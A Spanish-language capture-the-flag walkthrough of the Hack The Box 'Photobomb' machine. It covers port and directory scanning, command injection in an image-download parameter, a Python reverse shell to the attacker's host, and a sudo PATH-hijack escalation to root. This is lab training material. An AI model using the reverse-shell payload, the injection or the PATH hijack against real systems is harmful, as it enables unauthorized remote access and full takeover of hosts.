Primero se hace le escaneo de puertos.
$ sudo nmap -sV -Pn -A -O -oN
photobomb 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at
2023-02-20 13:09 -05
Nmap scan report for 10.10.11.182
Host is up
(0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT
STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
|
ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d
(RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_
256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open
http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow
redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0
(Ubuntu)
En este caso se añadira photobomb.htb a hosts
vi /etc/hosts
ip photobomb.htb
Ahora llendo a photobomb.htb en el navegador se encuentra esto.
Ahora se escanea los directorios
$ gobuster dir -u
http://photobomb.htb/ -e -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
http://photobomb.htb/printer
(Status: 401) [Size: 188]
http://photobomb.htb/printers
(Status: 401) [Size: 188]
http://photobomb.htb/printerfriendly
(Status: 401) [Size: 188]
http://photobomb.htb/printer_friendly
(Status: 401) [Size: 188]
http://photobomb.htb/printer_icon
(Status: 401) [Size: 188]
http://photobomb.htb/printer-icon
(Status: 401) [Size: 188]
http://photobomb.htb/printer-friendly
(Status: 401) [Size: 188]
http://photobomb.htb/printerFriendly
(Status: 401) [Size: 188]
Sin embargo, no se encontro otra ruta.
Volviendo a la pagina principal al buscar en el codigo fuente.
Luego dirigirse al sitio donde esta el script.
Al usar el usuario y la contraeña que tenia el script en /printer, se llega a este sitio.
Con la ayuda del buen burpsuit, se intersepto las peticiones para saber detalles de como procesa los parametros de descarga de las imagenes.
En los parametros, se modifico ingresando e ingreso uno extra esperando que
hubiera alguna reaccion.
photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=jpg;{HERE}&dimensions=3000x2000
Por ello se intenta que haga una peticion a local, creando un servidor http
con python.
$ sudo python3 -m http.server 80
Se hace una llamada al servidor recien creado y hay respues, asi que es hora de pasar una revershell como parametro, pero antes tener un puerto escuchando.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.48",4567));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Ahora se tiene acceso al servidor.
$ nc -lvnp 4567
listening on [any] 4567 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.182] 40402
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
Encontrar la primer flag es solo regresar un nivel en los archivos.
$ cd ..
cd ..
$ ls
ls
photobomb user.txt
$ cat user.txt
cat user.txt
********************************
Lo siguiente es en contrar una forma de escalar privilegios.
$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
Se puede ver que ese archivo esta corriendo con permisos de root, al inspeccionarlo, se encuntra esto.
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Ahora aprovechando la vulnerabilidad de este programa que esta corriendo con permisos root, se va a pasar una shell que sustituira el programa find, y a su vez, dar una consola con este permiso.
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
$ echo bash > find
echo bash > find
$ chmod +x find
chmod +x find
$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
*******************************